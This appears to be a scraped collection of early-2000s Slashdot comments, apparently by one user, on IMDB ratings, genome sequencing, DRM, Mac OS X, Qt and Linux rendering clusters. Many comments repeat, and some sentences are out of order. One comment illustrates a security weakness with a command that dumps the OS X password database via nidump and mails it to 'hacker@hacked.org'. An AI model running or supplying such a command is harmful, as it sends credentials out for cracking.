You have to remember, IMDB only counts regular voters in their tally for the top 250. If a lot of newbies just recently started voting on IMDB, their votes wouldn't count.
Can someone tell me what the difference is between the "rough draft" that was finished in the spring and the "gold standard" that this decoding is part of? How are they different? How can the completion of the Human Genome Project be asserted when there are still plenty of missing pieces? If this is only the 3rd chromosome that was "fully" decoded (fully in quotes because there still are 4 gaps in this one), then how can scientists claim that they're close to being finished?
It sounds a bit like a play for funding.
Scientist: Look how great our work is! We've finished decoding the Human Genome!
Funding source: Um. There are lots of gaps here. Isn't this work unfinished?
Microsoft has a patent on an OS that prevents a computer from booting anything but the "digital rights OS" Seems to me this would do away with dual boot PCs rather nicely.
Taking this even further -- to completely guarantee the integrity of the data, don't you have to also prevent the user from removing the hard drive? I mean, the user could conceivably open up the box, pull the drive out, and put it in a machine with an insecure operating system. Bingo - compromised data.
There are just so many things wrong with this concept that it's difficult to know where to begin...
Is there anyone else who thinks that this has the possibility of killing the intended story? Or at least, killing how it was intended to be told?
Movie directors and editors spend thousands of hours in the editing room, cutting a scene here, splicing one back in there, all in hopes of achieving the best story.
Fast foward about a year, with this technology in place in all DVD players and VCRs. People are able to add and delete scenes at will. Yes, you've given choice to the people. Yes, you've made videos that were previously unwatchable in schools available for educational purposes.
But there's a large chance that you may have destroyed the story as it was intended to be presented.
I know this sounds like a fine hair to split. But we the Public pay these guys a heckuva lotta money precisely because they know how to tell a good story. Second guessing them is probably a bad idea.
At the risk of sounding pedantic, I suggest that people working on new distributions or new enhancement to Gnome/KDE-like desktop environments look at what Apple has done with the user interface of Mac OS X.
On top of what is basically BSD, they have created a wonderful system. What looks and feels like a regular old Mac cranked up to 11, with semitransparent windows and buttons, trilinearly-interpolated stuff flying all around, antialiased fonts and lines everywhere, OpenGL and PDF widgets, has all of the UNIX-like underpinnings. I can open up a terminal window, run my zsh, fire up ssh, launch emacs, and compile stuff with gcc. X11 runs seamlessly with the rest of the windows using OroborOSX, and that's just for the geeks. The people like my wife still have GUIs for all of the "other stuff" that people want to deal with: preference settings, launching commonly-used apps, network diagnostics, heck, even the files in/etc are modifiable through a really nice GUI system (Netinfo Manager).
I don't know about you, but I really don't require five nines of reliability for my personal machine.. I'm OK with rebooting every once in a while.
Sure. Most people definitely don't require five nines. But your point was that Windows XP is stable because your machine hasn't crashed or needed a reboot in a long time. This guy is making exactly the same argument about his Linux box and you're ragging on him for doing so.
It reminds me of that "water" on the islands of Riven that would avoid heat. It would travel up the sides of glass, and even suspend itself in air if given sufficient heat to avoid. Neat stuff!
One of the most exciting pieces of news about Qt 3 (for me at least) is that it supports Mac OS X. And I'm not talking in X11 mode running XFree86. They have a true Quartz/Aqua implementation that runs natively, including OpenGL support.
So finally, all of those apps that use Qt to port to Windows now immediately port to Mac OS X with a recompile. Good show, Trolltech!
I've personally been working on scalable parallel rendering. We have a couple Linux clusters that we're working with. The one that I work on is a 32-node cluster with a Myrinet interconnect. Each box has hardware graphics in it. That cluster is hooked up to several displays so that we can explore very large tiled displays. I'm working on a project called Chromium that's hosted at SourceForge.
So I think you could say that the researchers in the DOE are very interested in what Linux can do.
I thought this was a good question, so I went and looked up Mr. Nobel's will. Here is the pertinent paragraph:
The whole of my remaining realizable estate shall be dealt with in the following way: the capital, invested in safe securities by my executors, shall constitute a fund, the interest on which shall be annually distributed in the form of prizes to those who, during the preceding year, shall have conferred the greatest benefit on mankind. The said interest shall be divided into five equal parts, which shall be apportioned as follows: one part to the person who shall have made the most important discovery or invention within the field of physics; one part to the person who shall have made the most important chemical discovery or improvement; one part to the person who shall have made the most important discovery within the domain of physiology or medicine; one part to the person who shall have produced in the field of literature the most outstanding work in an ideal direction; and one part to the person who shall have done the most or the best work for fraternity between nations, for the abolition or reduction of standing armies and for the holding and promotion of peace congresses. The prizes for physics and chemistry shall be awarded by the Swedish Academy of Sciences; that for physiological or medical work by the Caroline Institute in Stockholm; that for literature by the Academy in Stockholm, and that for champions of peace by a committee of five persons to be elected by the Norwegian Storting. It is my express wish that in awarding the prizes no consideration whatever shall be given to the nationality of the candidates, but that the most worthy shall receive the prize, whether he be a Scandinavian or not.
IANAP (I Am Not A Physicist), so I can't comment on why a Bose-Einstein Condensate is a benefit to mankind. I'm sure some kind slashdotter can help here.
It's a command-line utility used to access the information in the NetInfo database. It's specifically used to create flat-file versions (normal UNIX-like) of most of the system configuration.
All of the things that UNIX expects in/etc (inetd.conf, services, groups, passwd, and more) are actually stored in an XML database in Mac OS X. It's kind of a neat way to do it, especially the bootup sequence information.
But not having shadow passwords turned on by default means that anyone can get the passwd database in a crack-able form by running that "nidump passwd." command. Heck, I don't even know if shadow passwords are available in OS X.
My favorite GUI library, Qt has been ported to Mac OS X. I have tried this out with some simple code and it seems to work fairly well. The few bugs that I found have been fixed in the final release, which should come "any day now".
So any app that's written to Qt (and there's a lot of them out there for Linux) should require just a recompile and work perfectly fine under Quartz/Aqua.
Um...you can run KDE and Enlightenment on OS X. Why is it that you think that windowing environments have anything to do with the operating system?
Once the XFree86 people get hardware-accelerated rendering on OS X, you're going to find that all of the normally Linux-based windowing environments work just as well on OS X as they do on any distribution of Linux.
Funny. When the ruling from Judge Jackson first came out, there were droves of people here on Slashdot who were complaining that breaking MS into 2 (or more) companies would do nothing to curb their monopolistic behavior. The argument went something like: the smaller companies would continue to exercise the monopoly for the particular domain that they operate in.
Now that the DoJ says that they are going to pursue a different penalty, even going so far as to check out the current situation in industry to customize something that will have teeth, do we hear Slashdot members applauding the decision? No! Instead, we're hearing people complaining that the Bush Administration is butting in, being pro-Microsoft, and blocking what is now hailed as one of the best ways to stop MS.
You can't have it both ways, people.
Personally, I applaud what the DoJ is doing. I think we're on the road to finding a solution that will actually make a difference. Time will tell.
Remember what the author of the article said: Just because you are offended by a particular behavior that an OS does, doesn't meant that it's the fault of the metadata itself.
Having a file type stored in the filesystem itself, rather than in the filename, only means that the interface to present and change the information has to adapt.
For instance, on the Mac, if I want to open a document with a different application than the one it's bound do, I right click on the file and choose a different app under my "FinderPop" popup menu. It's a tiny piece of shareware that let's me do this. Granted, I'd like it in the OS itself, but it's seamless for me.
Changing the type, I have to admit, really is a pain in the ass on the Macintosh. I hate having to pull up a special program and type in some special codes to do this. What a pain.
But many things can be gotten around, assuming that the file system will support it.
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Jobs did have alot (sic) to do with Pixar at one time...
Uh...like for instance being its CEO?
IMDB is actually 12 years old. Read this for more information.
You have to remember, IMDB only counts regular voters in their tally for the top 250. If a lot of newbies just recently started voting on IMDB, their votes wouldn't count.
They specifically talk about how computer recognition plays a part.
Thanks. This helps clarify things for me. I appreciate it.
Can someone tell me what the difference is between the "rough draft" that was finished in the spring and the "gold standard" that this decoding is part of? How are they different? How can the completion of the Human Genome Project be asserted when there are still plenty of missing pieces? If this is only the 3rd chromosome that was "fully" decoded (fully in quotes because there still are 4 gaps in this one), then how can scientists claim that they're close to being finished?
It sounds a bit like a play for funding.
Scientist: Look how great our work is! We've finished decoding the Human Genome!
Funding source: Um. There are lots of gaps here. Isn't this work unfinished?
Scientist: That's why we need more funding!
Funding source: (scratches head) Uhhh...okay.
Microsoft has a patent on an OS that prevents a computer from booting anything but the "digital rights OS" Seems to me this would do away with dual boot PCs rather nicely.
Taking this even further -- to completely guarantee the integrity of the data, don't you have to also prevent the user from removing the hard drive? I mean, the user could conceivably open up the box, pull the drive out, and put it in a machine with an insecure operating system. Bingo - compromised data.
There are just so many things wrong with this concept that it's difficult to know where to begin...
Is there anyone else who thinks that this has the possibility of killing the intended story? Or at least, killing how it was intended to be told?
Movie directors and editors spend thousands of hours in the editing room, cutting a scene here, splicing one back in there, all in hopes of achieving the best story.
Fast foward about a year, with this technology in place in all DVD players and VCRs. People are able to add and delete scenes at will. Yes, you've given choice to the people. Yes, you've made videos that were previously unwatchable in schools available for educational purposes.
But there's a large chance that you may have destroyed the story as it was intended to be presented.
I know this sounds like a fine hair to split. But we the Public pay these guys a heckuva lotta money precisely because they know how to tell a good story. Second guessing them is probably a bad idea.
Just my two cents.
I agree completely. You can't do it as a voluntary poll. It has to be randomly sampled.
Knowing, in general terms, what the demographics of Slashdot readership and postership (?) is would be a very useful thing.
At the risk of sounding pedantic, I suggest that people working on new distributions or new enhancement to Gnome/KDE-like desktop environments look at what Apple has done with the user interface of Mac OS X.
/etc are modifiable through a really nice GUI system (Netinfo Manager).
On top of what is basically BSD, they have created a wonderful system. What looks and feels like a regular old Mac cranked up to 11, with semitransparent windows and buttons, trilinearly-interpolated stuff flying all around, antialiased fonts and lines everywhere, OpenGL and PDF widgets, has all of the UNIX-like underpinnings. I can open up a terminal window, run my zsh, fire up ssh, launch emacs, and compile stuff with gcc. X11 runs seamlessly with the rest of the windows using OroborOSX, and that's just for the geeks. The people like my wife still have GUIs for all of the "other stuff" that people want to deal with: preference settings, launching commonly-used apps, network diagnostics, heck, even the files in
So check it out for inspiration!
I don't know about you, but I really don't require five nines of reliability for my personal machine.. I'm OK with rebooting every once in a while.
Sure. Most people definitely don't require five nines. But your point was that Windows XP is stable because your machine hasn't crashed or needed a reboot in a long time. This guy is making exactly the same argument about his Linux box and you're ragging on him for doing so.
Where's your consistency?
It has been said that so-called "futurists" oversell the short term, and undersell the long term.
It reminds me of that "water" on the islands of Riven that would avoid heat. It would travel up the sides of glass, and even suspend itself in air if given sufficient heat to avoid. Neat stuff!
One of the most exciting pieces of news about Qt 3 (for me at least) is that it supports Mac OS X. And I'm not talking in X11 mode running XFree86. They have a true Quartz/Aqua implementation that runs natively, including OpenGL support.
So finally, all of those apps that use Qt to port to Windows now immediately port to Mac OS X with a recompile. Good show, Trolltech!
Read more from their press release.
There is a lot of visualization research happening at Lawrence Livermore National Laboratory that's using Linux. A lot of the boxes that we do our day-to-day work on are boxes running RedHat 7.1. We're researching how to best use the latest nVidia drivers with GeForce 3 cards.
I've personally been working on scalable parallel rendering. We have a couple Linux clusters that we're working with. The one that I work on is a 32-node cluster with a Myrinet interconnect. Each box has hardware graphics in it. That cluster is hooked up to several displays so that we can explore very large tiled displays. I'm working on a project called Chromium that's hosted at SourceForge.
So I think you could say that the researchers in the DOE are very interested in what Linux can do.
Thank you, kind slashdotter!
It's a command-line utility used to access the information in the NetInfo database. It's specifically used to create flat-file versions (normal UNIX-like) of most of the system configuration.
/etc (inetd.conf, services, groups, passwd, and more) are actually stored in an XML database in Mac OS X. It's kind of a neat way to do it, especially the bootup sequence information.
." command. Heck, I don't even know if shadow passwords are available in OS X.
All of the things that UNIX expects in
But not having shadow passwords turned on by default means that anyone can get the passwd database in a crack-able form by running that "nidump passwd
You're completely right.
/usr/bin/mail hacker@hacked.org
All the malicious downloaded code has to do is:
/usr/bin/nidump passwd . |
Bingo, a bunch of passwords (including root) ready to crack.
So any app that's written to Qt (and there's a lot of them out there for Linux) should require just a recompile and work perfectly fine under Quartz/Aqua.
Um...you can run KDE and Enlightenment on OS X. Why is it that you think that windowing environments have anything to do with the operating system?
Once the XFree86 people get hardware-accelerated rendering on OS X, you're going to find that all of the normally Linux-based windowing environments work just as well on OS X as they do on any distribution of Linux.
Funny. When the ruling from Judge Jackson first came out, there were droves of people here on Slashdot who were complaining that breaking MS into 2 (or more) companies would do nothing to curb their monopolistic behavior. The argument went something like: the smaller companies would continue to exercise the monopoly for the particular domain that they operate in.
Now that the DoJ says that they are going to pursue a different penalty, even going so far as to check out the current situation in industry to customize something that will have teeth, do we hear Slashdot members applauding the decision? No! Instead, we're hearing people complaining that the Bush Administration is butting in, being pro-Microsoft, and blocking what is now hailed as one of the best ways to stop MS.
You can't have it both ways, people.
Personally, I applaud what the DoJ is doing. I think we're on the road to finding a solution that will actually make a difference. Time will tell.
Someone with some embedded experience will have to explain this to me.
.8 seconds to get to LILO will be too slow for it.
99.99999 percent downtime in a year works out to just over 3 seconds of downtime. Is that even possible? Feasible?
And if the machine is only down for 3 seconds in a year, who cares how long it takes to boot? Even
Remember what the author of the article said: Just because you are offended by a particular behavior that an OS does, doesn't meant that it's the fault of the metadata itself.
Having a file type stored in the filesystem itself, rather than in the filename, only means that the interface to present and change the information has to adapt.
For instance, on the Mac, if I want to open a document with a different application than the one it's bound do, I right click on the file and choose a different app under my "FinderPop" popup menu. It's a tiny piece of shareware that let's me do this. Granted, I'd like it in the OS itself, but it's seamless for me.
Changing the type, I have to admit, really is a pain in the ass on the Macintosh. I hate having to pull up a special program and type in some special codes to do this. What a pain.
But many things can be gotten around, assuming that the file system will support it.